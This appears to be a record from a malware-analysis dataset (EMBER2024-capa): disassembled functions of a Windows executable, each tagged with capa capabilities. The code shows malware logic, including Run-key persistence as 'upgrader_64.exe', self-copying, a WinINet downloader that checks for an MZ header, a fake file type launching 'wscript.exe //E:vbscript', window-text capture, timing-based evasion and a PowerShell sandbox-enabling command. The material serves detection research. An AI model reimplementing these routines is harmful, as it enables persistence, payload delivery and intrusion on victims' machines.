joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000563c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r13, rcx
mov ecx, 0x7532
call fcn.140021270
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov rbp, rax
call fcn.140024d60
xor edx, edx
mov byte [rbp], 2
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x1400056a6
lea rbx, [rbp + 2]
lea r8, [0x14004aac8]
mov edx, 0x36b0
mov rcx, rbx
call fcn.140021314
jmp 0x140005707
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400056c4
lea rdx, [rbp + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [rbp + 2]
lea rdi, [0x14004a6d0]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
jne 0x1400056f0
lea r8, [0x14004aad8]
mov edx, 0x3a98
mov rcx, rbx
call fcn.140021314
lea r8, [0x14004aae4]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.140021314
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r13 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, rbp
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.140020ec0

Function at 0x14000574c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rax - 0x508]
sub rsp, 0x5f0
mov rbx, rcx
mov r12d, r8d
lea rcx, [rsp + 0x40]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.140020ee0
lea rcx, [rbp + 0x222]
xor r13d, r13d
xor edx, edx
mov r8d, 0x2ce
mov word [rbp + 0x220], r13w
call fcn.140024d60
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x150]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400057e1
xor eax, eax
jmp 0x14000587b
lea r8d, [r12 - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rbp + 0x518]
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400057da
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x220]
test eax, eax
je 0x140005843
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x150]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140005850
lea rdx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x140005861
dec eax
jne 0x140005876
xor r8d, r8d
jmp 0x140005867
mov r8d, 5
lea rdx, [rbp + 0x220]
mov rcx, rbx
call fcn.140005898
mov eax, 1
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x140005898
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r15
lea rbp, [rax - 0xa18]
sub rsp, 0xb00
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140024d60
mov edx, 0x2e
mov rcx, rdi
call fcn.140021e0c
xor r13d, r13d
mov rbx, rax
test rax, rax
jne 0x1400058f7
xor al, al
jmp 0x140005ae8
lea rcx, [rbp + 0x1f2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.140024d60
mov r15d, 0x20
mov edx, r15d
mov rcx, rbx
call fcn.140021e0c
mov rcx, rbx
test rax, rax
je 0x14000594e
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x14000596b
cmp word [rbx + rcx*2], r15w
je 0x140005954
dec rcx
dec eax
test rcx, rcx
jg 0x14000593b
jmp 0x14000596b
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.140021e38
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.140005b0c
test eax, eax
je 0x1400058f0
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.140024d60
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140024d60
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.140024d60
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.140005b0c
test eax, eax
je 0x1400058f0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x14004ab30]
lea rcx, [rbp - 0x20]
call fcn.14002155c
test rax, rax
jne 0x140005a6a
lea rdx, [0x14004ab38]
lea rcx, [rbp - 0x20]
call fcn.14002155c
test rax, rax
jne 0x140005a6a
lea rdx, [0x14004a710]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140005a76
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.140024d60
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x140005aa1
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x140005aad
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
lea r11, [rsp + 0xb00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop rbp
ret
Function at 0x140005dac
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x560]
sub rsp, 0x660
xor ebx, ebx
mov rsi, rcx
test edx, edx
je 0x140005f77
dec edx
jne 0x140005fd2
lea rcx, [0x14004a9e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x14004aa40]
mov rcx, rax
mov qword [rsi + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aa58]
mov qword [rsi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aa10]
mov qword [rsi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aa88]
mov qword [rsi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x280], rax
cmp qword [rsi + 0x250], rbx
je 0x140005fd2
mov r10, qword [rsi + 0x268]
test r10, r10
je 0x140005fd2
cmp qword [rsi + 0x288], rbx
je 0x140005fd2
test rax, rax
je 0x140005fd2
lea rax, [rbp + 0x590]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call r10
test eax, eax
jne 0x140005fd2
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x590]
lea edi, [rbx + 1]
lea eax, [rax + rax + 2]
lea rdx, str.upgrader_64.exe
mov r9d, edi
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [rsi + 0x288]
test eax, eax
jne 0x140005f61
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140024d60
mov rcx, qword [rbp + 0x590]
lea rax, [rbp + 0x588]
lea rdx, str.upgrader_64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x588], 0x208
call qword [rsi + 0x250]
test eax, eax
je 0x140005f63
mov edi, ebx
mov rcx, qword [rbp + 0x590]
call qword [rsi + 0x280]
mov eax, edi
jmp 0x140006040
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140024d60
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bx
call fcn.140024d60
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x290], rax
test rax, rax
jne 0x140005fd6
xor eax, eax
jmp 0x140006040
mov r9d, 1
lea rdx, [rbp + 0x140]
xor ecx, ecx
lea r8d, [r9 + 6]
call rax
test eax, eax
je 0x140005fd2
lea rdx, [rbp + 0x350]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rbp + 0x140]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x680]
add rsp, 0x660
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006054
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r13
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [r11 + 8]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r13, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r13
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r13
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140006112
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop rdi
pop rsi
ret
Function at 0x140006260
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x1400062df
test rdi, rdi
je 0x1400062d8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x140006409
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x1400062ca
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400063d0
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.140024d60
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x140006392
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x1400063c4
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x1400063c7
jmp 0x140006347
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140006406
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006944
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x1400069c9
test byte [r8 + 0x24], 0x40
je 0x1400069bf
mov eax, dword [rdx + 0x20]
jmp 0x1400069c9
test byte [r8 + 0x24], 0x80
je 0x1400069c9
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140006aa2
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x140006a19
test byte [rdi], 0x40
je 0x140006a11
mov eax, dword [rdx + 0x20]
jmp 0x140006a19
test byte [rdi], 0x80
je 0x140006a19
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x140006a53
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x140006a53
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140006884
test eax, eax
je 0x140006a9e
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140006a78
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140006a65
bt ecx, 0x19
jae 0x140006a65
or ecx, eax
jmp 0x140006a6b
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140006aa2
mov rsi, qword [rbp + 0x30]
jmp 0x1400069ec
xor eax, eax
jmp 0x140006ab9
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140006884
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140007484
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.1400215c0
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.140020ee0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000759e
cmp eax, 0x102
je 0x14000758c
cmp eax, 0xffffffff
jne 0x14000759a
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x140007604
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x14004bce0]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x140009408
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
mov rbp, rsp
sub rsp, 0x48
lea rax, [rbp + 0x28]
mov rsi, 0xffffffff80000000
lea rdx, str..back
mov r9d, 0x20019
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140009448
mov rcx, qword [rbp + 0x28]
jmp 0x140009534
lea r8, [rbp + 0x20]
lea rdx, str..back
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.Counsellor
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x20]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.Counsellor
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x18]
lea rdx, str.Counsellor
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x18]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, str.Microsoft_Date_Tools_Upgrader_File
mov dword [rsp + 0x20], gethostbyname
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x30]
lea rdx, str.Shell
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x18]
lea rdx, str.Open
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, str.Command
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.wscript.exe___E:vbscript___1_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x10]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.wscript.exe___E:vbscript___1_
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x48
pop rsi
pop rbp
ret
Function at 0x14000a9ec
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x268]
sub rsp, 0x360
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x50]
call fcn.14000b434
nop
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x20], 0x238
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor esi, esi
test eax, eax
jne 0x14000aa61
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, sil
jmp 0x14000ab08
or r12, 0xffffffffffffffff
xor eax, eax
mov rcx, r12
lea rdi, [rbp + 0x4c]
repne scasw ax, word [rdi]
not rcx
dec rcx
mov r8, rcx
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov rdi, rcx
mov r9, qword [rsp + 0x60]
cmp r9, rcx
cmovb rdi, r9
lea rcx, [rbp + 0x4c]
test rdi, rdi
je 0x14000aac3
movzx eax, word [rcx]
cmp word [rdx], ax
jne 0x14000aaba
add rdx, 2
add rcx, 2
dec rdi
jne 0x14000aaa3
jmp 0x14000aac3
sbb eax, eax
and eax, 0xfffffffe
inc eax
jmp 0x14000aac5
mov eax, esi
movsxd rcx, eax
mov eax, esi
cmp r9, r8
setne al
cmp r9, r8
cmovb eax, r12d
test rcx, rcx
cmovne eax, ecx
test eax, eax
sete al
mov rcx, rbx
test al, al
jne 0x14000ab00
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000aa65
jmp 0x14000aa50
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 1
test dl, dl
sete dil
cmp qword [rsp + 0x68], 8
jb 0x14000ab20
mov rcx, qword [rsp + 0x50]
call fcn.140020ec0
test dil, dil
je 0x14000abea
mov edi, 0x68
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140024d60
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x14], 1
mov word [rbp - 0x10], si
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x78]
call fcn.14000b434
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000abd7
or edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp - 0x70], 8
jb 0x14000abef
mov rcx, qword [rsp + 0x78]
call fcn.140020ec0
jmp 0x14000abef
call fcn.14000871c
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000ac0c
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx r11d, word [rsp + 0x3e]
movzx eax, word [rsp + 0x4e]
movzx ecx, word [rsp + 0x4c]
sub eax, r11d
movd xmm1, eax
movzx eax, word [rsp + 0x3c]
sub ecx, eax
cvtdq2pd xmm1, xmm1
movd xmm0, ecx
divsd xmm1, qword [0x14004bce0]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, qword [0x14004c868]
comisd xmm0, xmm1
ja 0x14000acd3
call fcn.14000a200
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x140008f38]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140009544
call fcn.14000a9ec
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x50
pop rbx
ret